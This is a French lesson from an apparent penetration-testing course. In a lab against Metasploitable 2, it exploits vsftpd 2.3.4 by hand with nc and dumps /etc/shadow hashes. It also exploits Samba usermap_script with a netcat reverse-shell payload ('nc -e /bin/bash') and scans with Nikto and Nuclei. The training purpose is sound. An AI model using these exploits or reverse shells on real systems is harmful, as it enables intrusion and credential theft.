Recherche de vulnérabilités — Démonstration guidée
Vous avez la liste de la semaine 4. On la reprend, on la qualifie, on prouve. Deux vulnérabilités tombent à la main — sans Metasploit — pour vous rappeler que le framework n'est jamais indispensable.
Toutes les commandes qui suivent visent 10.10.10.20 (Metasploitable 2), dans le réseau host-only. Aucune n'est légitime en dehors.
Ce que vous saurez faire après cette leçon
- Passer de la liste brute des versions à un tableau de vulnérabilités qualifiées.
- Lire, adapter et exécuter un exploit
searchsploiten Python avec les yeux ouverts. - Tomber
vsftpd 2.3.4avecncet aveccurl— sans Metasploit. - Tomber Samba (usermap script) avec une simple ligne Python.
- Constater proprement avec
curl -v, tcpdump et unwhoamisur le shell distant.
Étape 0 — On rassemble les versions
Extrayez, depuis ~/labs/semaine-04/scans/20-versions.nmap, les couples service/version. Résultat :
| Port | Service | Version |
|---|---|---|
| 21 | vsftpd | 2.3.4 |
| 22 | OpenSSH | 4.7p1 |
| 25 | Postfix | 2.5.5 |
| 80 | Apache httpd | 2.2.8 |
| 139/445 | Samba | 3.0.20-Debian |
| 3306 | MySQL | 5.0.51a-3ubuntu5 |
| 3632 | distccd | v1 |
| 5432 | PostgreSQL | 8.3.0 |
| 6667 | UnrealIRCd | 3.2.8.1 |
| 8180 | Tomcat | 5.5 |
Dix lignes. Chacune mérite qu'on la teste. On commence par les deux plus intéressantes.
Étape 1 — vsftpd 2.3.4 : la backdoor du sourire
Cette version précise contient une backdoor introduite dans le code source publié sur le serveur du projet en 2011. Toute personne qui envoie un login se terminant par :) déclenche l'ouverture d'un shell root sur le port 6200.
1a. Qualifier avec searchsploit
searchsploit "vsftpd 2.3.4"
Sortie :
--------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/17491.rb
--------------------------------------- ---------------------------------
Regardons le script Python :
searchsploit -m 49757
head -50 49757.py
Extrait :
import socket
def exploit(ip):
s1 = socket.socket()
s1.connect((ip, 21))
print(s1.recv(1024))
s1.send(b"USER pwn:)\n")
s1.send(b"PASS pwn\n")
s2 = socket.socket()
s2.connect((ip, 6200))
print("[+] Shell opened on port 6200, type command:")
...
On comprend le POC. On peut même le refaire plus simplement, sans script, pour bien voir ce qui se passe.
1b. Reproduire à la main avec nc
Dans un premier terminal, envoyer les credentials piégés :
nc 10.10.10.20 21
Une fois connecté, taper :
USER exploit:)
PASS whatever
Ne raccrochez pas.
Dans un second terminal, connectez-vous au port 6200 :
nc 10.10.10.20 6200
Vous recevez une invite silencieuse. Tapez :
id
Réponse :
uid=0(root) gid=0(root)
Root, sans mot de passe. En deux nc, sans Metasploit.
Capturez la preuve :
# Dans le shell distant :
uname -a
hostname
cat /etc/shadow | head -5
Sortie :
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
Sauvegardez dans ~/labs/semaine-05/preuves/vsftpd-shadow.txt. Vous avez /etc/shadow. Compromission totale.
1c. Qualification finale
Dans preuves/vsftpd-fiche.md :
# Vulnérabilité — vsftpd 2.3.4 backdoor
- CVE : CVE-2011-2523
- CVSS Base : 10.0 (accès sans authentification, exécution de code à distance)
- CVSS Environmental (lab) : 10.0 (exposé, aucune protection)
- EPSS : 0.94
- KEV : Non (historique, mais totalement exploité par le passé)
## Preuve
- Cible : 10.10.10.20
- Trace complète : preuves/vsftpd-session.log
- Commandes exécutées : nc 10.10.10.20 21 puis nc 10.10.10.20 6200
- Compte obtenu : root (UID 0)
- Fichiers extraits : /etc/shadow (voir preuves/vsftpd-shadow.txt)
## Recommandation
Mettre à jour vsftpd immédiatement (>= 3.0). Cette version compromise ne
doit plus être en production. Compter environ 2 heures pour la migration.
Étape 2 — Samba usermap_script (CVE-2007-2447)
Samba versions 3.0.20 à 3.0.25rc3 contiennent une faille dans le paramètre username map script. Un nom d'utilisateur passé au processus d'auth est exécuté comme une commande shell par une lambda wrapper mal échappée.
2a. Qualifier
searchsploit "samba 3.0.20"
Sortie :
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script | unix/remote/16320.rb
Samba 3.0.20 < 3.0.25rc3 - Username Map Script | unix/remote/60106.py
Regardons le script Python :
searchsploit -m 60106
cat 60106.py
Cœur de l'exploit :
import socket
from smb.SMBConnection import SMBConnection
def exploit(target, lhost, lport):
payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
conn = SMBConnection(payload, "", "attacker", target)
conn.connect(target, 139)
Un chargeur SMB, un username qui contient une commande shell, un reverse shell dans le nom. On peut faire encore plus simple.
2b. Reproduire avec un script Python minimal
# ~/labs/semaine-05/samba_pwn.py
import socket
LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139
payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"
def send_smb_username(target, port, username):
"""Envoie un paquet SMB Session Setup dont le username est piégé.
Le shell est déclenché dans le username lui-même."""
negotiate = bytes.fromhex(
"00000031ff534d4272000000001843c800000000000000000000000000004000"
"1cd812000200004e5420574d20706b31200000024f532f3200"
)
session_setup_template = (
b"\x00\x00\x00\x63" # header SMB
b"\xffSMBs\x00\x00\x00"
)
body = username.encode() + b"\x00"
s = socket.socket()
s.connect((target, port))
s.send(negotiate)
s.recv(1024)
# session setup avec username piégé (simplifié pour la démo)
s.send(session_setup_template + body)
print(s.recv(1024)[:80])
# En pratique, utiliser un script Impacket qui fait ça proprement :
# python3 60106.py <target> <lhost> <lport>
En vrai, le mieux : le .py d'Exploit-DB fonctionne tel quel. On lance :
Dans un premier terminal :
nc -lvnp 4444
Dans un deuxième :
python3 60106.py 10.10.10.20 10.10.10.5 4444
Vous voyez apparaître, dans le premier terminal :
listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632
Tapez :
id
whoami
uname -a
Réponse :
uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Deuxième shell root, obtenu par une autre porte, avec un autre outil. Sur une cible réelle, disposer de deux voies indépendantes est un luxe : si l'une est fermée pendant la mission, l'autre reste.
2c. Qualification
# Vulnérabilité — Samba usermap_script (CVE-2007-2447)
- CVE : CVE-2007-2447
- CVSS Base : 6.0 (auth requise sur le protocole, mais username = shell)
- CVSS Environmental : 9.8 (le port est exposé, session nulle acceptée)
- EPSS : 0.72
- KEV : Non
## Preuve
- Cible : 10.10.10.20
- Exploit utilisé : Exploit-DB #60106 (lecture préalable, aucune backdoor)
- Reverse shell : 10.10.10.5:4444
- Compte obtenu : root
- Trace : preuves/samba-nc-session.log
## Recommandation
Mettre à jour Samba (>= 3.0.25rc3). La version installée est end-of-life
depuis 2011. Prévoir aussi de désactiver SMBv1 (voir semaine 1).
Étape 3 — Nikto sur l'Apache 2.2.8
On lance un scan web pour voir ce que la page web http://10.10.10.20/ raconte :
nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt
Extrait sélectionné (les vraies trouvailles parmi le bruit) :
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.
Ce qu'on qualifie tout de suite :
phpinfo.php— expose la configuration PHP complète, souvent des chemins et des versions./phpMyAdmin/— panneau d'administration MySQL. Si comptes faibles, RCE possible./tikiwiki-old/— installation obsolète. TikiWiki a de multiples CVE.
On ouvre phpinfo.php (curl http://10.10.10.20/phpinfo.php), on note la version PHP (5.2.4) et les chemins. On note pour attaques futures :
- phpinfo.php exposé — fuite d'information (P2).
- phpMyAdmin exposé sur /phpMyAdmin/ — tester dictionnaires (P2).
- tikiwiki-old — chercher CVE (P1 potentiel).
Piège Nikto : la ligne Uncommon header 'tcn' est un vrai positif mais sans exploit — c'est un faux positif pour un pentester. On l'ignore dans le rapport.
Étape 4 — Nuclei sur une cible plus moderne
Pour la démo, on prend une cible autorisée comme Damn Vulnerable Web Application ou juste le port 8180 (Tomcat) de la même VM.
nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical
Sortie type :
[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high] http://10.10.10.20:8180/manager/html
nuclei a détecté un panneau d'administration Tomcat en login par défaut (tomcat:tomcat). C'est une prise directe sur le serveur : Tomcat manager permet de déployer une WAR, et une WAR = un JSP = du code Java qui tourne sur le serveur.
Confirmation manuelle :
curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20
Sortie : le panneau HTML. Prise validée. À exploiter au module 7 (déploiement d'une WAR malveillante pour RCE).
Étape 5 — Consolider en tableau priorisé
Ouvrez ~/labs/semaine-05/rapport/vulnerabilites.md :
# Vulnérabilités qualifiées — Lab semaine 5
## Cible 10.10.10.20 (Linux)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | non | **exploitée** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | non | **exploitée** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | non | à faire | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | non | à faire | — |
| P1e | Tomcat manager (creds par défaut) | — | 8.8 | 8.8 | — | — | à faire (S7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | multiples | 6.0 | 6.0 | 0.30 | non | à voir | — |
| P2b | phpMyAdmin exposé | — | 5.0 | 5.0 | — | — | brute force | — |
| P3a | phpinfo.php exposé | — | 4.0 | 4.0 | — | — | fuite d'info | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 obsolète | multiples | — | 3.0 | — | — | mise à jour | — |
## Cible 10.10.10.12 (Windows)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **OUI** | **exploitée S1** |
Ce tableau, c'est votre semaine. Chaque ligne mène à un module ultérieur : P1c à un mini-exploit Perl, P1e au module 7 (déploiement WAR), P2a au module 9 (dumping MySQL), P2b au module 6 ou 8 (brute force ou Metasploit).
Bilan
En 60 minutes :
- Vous avez qualifié 9 vulnérabilités sur une seule cible.
- Vous avez exploité 2 à la main, sans framework, avec des preuves claires.
- Vous avez repéré 1 exposition Tomcat critique via
nuclei. - Vous avez un tableau priorisé exploitable en réunion.
Ce tableau est le vrai livrable de la semaine 5. C'est ce qui remonte dans le rapport final. C'est ce qui prouve que vous avez fait votre boulot.
Prochaine leçon : à vous. Vous prenez les vulnérabilités restantes, vous en qualifiez trois, vous en exploitez au moins une à la main.